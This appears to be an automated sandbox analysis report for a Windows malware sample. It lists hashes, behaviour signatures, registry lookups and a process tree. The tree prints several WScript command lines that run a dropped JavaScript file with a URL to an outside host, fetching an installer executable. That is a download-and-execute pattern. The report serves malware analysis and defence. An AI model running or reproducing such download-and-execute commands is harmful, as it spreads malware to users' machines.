Analysis
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max time kernel
91s -
max time network
95s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
03/06/2024, 10:37
Static task
static1
Behavioral task
behavioral1
Sample
917871ec41fb7242f96d2ea27e25c131_JaffaCakes118.exe
Resource
win7-20240419-en
Behavioral task
behavioral2
Sample
917871ec41fb7242f96d2ea27e25c131_JaffaCakes118.exe
Resource
win10v2004-20240426-en
General
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Target
917871ec41fb7242f96d2ea27e25c131_JaffaCakes118.exe
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Size
184KB
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MD5
917871ec41fb7242f96d2ea27e25c131
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SHA1
3a942af2b8c0f674265e0ac857d3902143968212
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SHA256
3d59ae7ff7b643e74998e355f7df1419c03ec3ac451c0591564688e9eeb0e162
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SHA512
98599a21876019f48b3d90714f73788ffdfab26f35a1a7e46c5685d9f74000619b92748d732f926efb046b83f8f29acdc61183a787c0d6519f02639f119d3fcb
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SSDEEP
3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3A:/7BSH8zUB+nGESaaRvoB7FJNndn5
Malware Config
Signatures
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Blocklisted process makes network request 6 IoCs
flow pid Process 8 4304 WScript.exe 27 5068 WScript.exe 28 5068 WScript.exe 30 3532 WScript.exe 42 1528 WScript.exe 44 2688 WScript.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000\Control Panel\International\Geo\Nation 917871ec41fb7242f96d2ea27e25c131_JaffaCakes118.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Program crash 1 IoCs
pid pid_target Process procid_target 1656 948 WerFault.exe 82 -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000_Classes\Local Settings 917871ec41fb7242f96d2ea27e25c131_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 948 wrote to memory of 4304 948 917871ec41fb7242f96d2ea27e25c131_JaffaCakes118.exe 83 PID 948 wrote to memory of 4304 948 917871ec41fb7242f96d2ea27e25c131_JaffaCakes118.exe 83 PID 948 wrote to memory of 4304 948 917871ec41fb7242f96d2ea27e25c131_JaffaCakes118.exe 83 PID 948 wrote to memory of 5068 948 917871ec41fb7242f96d2ea27e25c131_JaffaCakes118.exe 94 PID 948 wrote to memory of 5068 948 917871ec41fb7242f96d2ea27e25c131_JaffaCakes118.exe 94 PID 948 wrote to memory of 5068 948 917871ec41fb7242f96d2ea27e25c131_JaffaCakes118.exe 94 PID 948 wrote to memory of 3532 948 917871ec41fb7242f96d2ea27e25c131_JaffaCakes118.exe 95 PID 948 wrote to memory of 3532 948 917871ec41fb7242f96d2ea27e25c131_JaffaCakes118.exe 95 PID 948 wrote to memory of 3532 948 917871ec41fb7242f96d2ea27e25c131_JaffaCakes118.exe 95 PID 948 wrote to memory of 1528 948 917871ec41fb7242f96d2ea27e25c131_JaffaCakes118.exe 97 PID 948 wrote to memory of 1528 948 917871ec41fb7242f96d2ea27e25c131_JaffaCakes118.exe 97 PID 948 wrote to memory of 1528 948 917871ec41fb7242f96d2ea27e25c131_JaffaCakes118.exe 97 PID 948 wrote to memory of 2688 948 917871ec41fb7242f96d2ea27e25c131_JaffaCakes118.exe 98 PID 948 wrote to memory of 2688 948 917871ec41fb7242f96d2ea27e25c131_JaffaCakes118.exe 98 PID 948 wrote to memory of 2688 948 917871ec41fb7242f96d2ea27e25c131_JaffaCakes118.exe 98
Processes
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C:\Users\Admin\AppData\Local\Temp\917871ec41fb7242f96d2ea27e25c131_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\917871ec41fb7242f96d2ea27e25c131_JaffaCakes118.exe"1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:948 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3681.js" http://www.djapp.info/?domain=asOJNMwiiD.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyyZenuW16ANxPXHCs C:\Users\Admin\AppData\Local\Temp\fuf3681.exe2⤵
- Blocklisted process makes network request
PID:4304
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3681.js" http://www.djapp.info/?domain=asOJNMwiiD.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyyZenuW16ANxPXHCs C:\Users\Admin\AppData\Local\Temp\fuf3681.exe2⤵
- Blocklisted process makes network request
PID:5068
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3681.js" http://www.djapp.info/?domain=asOJNMwiiD.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyyZenuW16ANxPXHCs C:\Users\Admin\AppData\Local\Temp\fuf3681.exe2⤵
- Blocklisted process makes network request
PID:3532
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3681.js" http://www.djapp.info/?domain=asOJNMwiiD.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyyZenuW16ANxPXHCs C:\Users\Admin\AppData\Local\Temp\fuf3681.exe2⤵
- Blocklisted process makes network request
PID:1528
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3681.js" http://www.djapp.info/?domain=asOJNMwiiD.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyyZenuW16ANxPXHCs C:\Users\Admin\AppData\Local\Temp\fuf3681.exe2⤵
- Blocklisted process makes network request
PID:2688
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 948 -s 13202⤵
- Program crash
PID:1656
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 368 -p 948 -ip 9481⤵PID:1728
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
3KB
MD53813cab188d1de6f92f8b82c2059991b
SHA14807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA51283b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76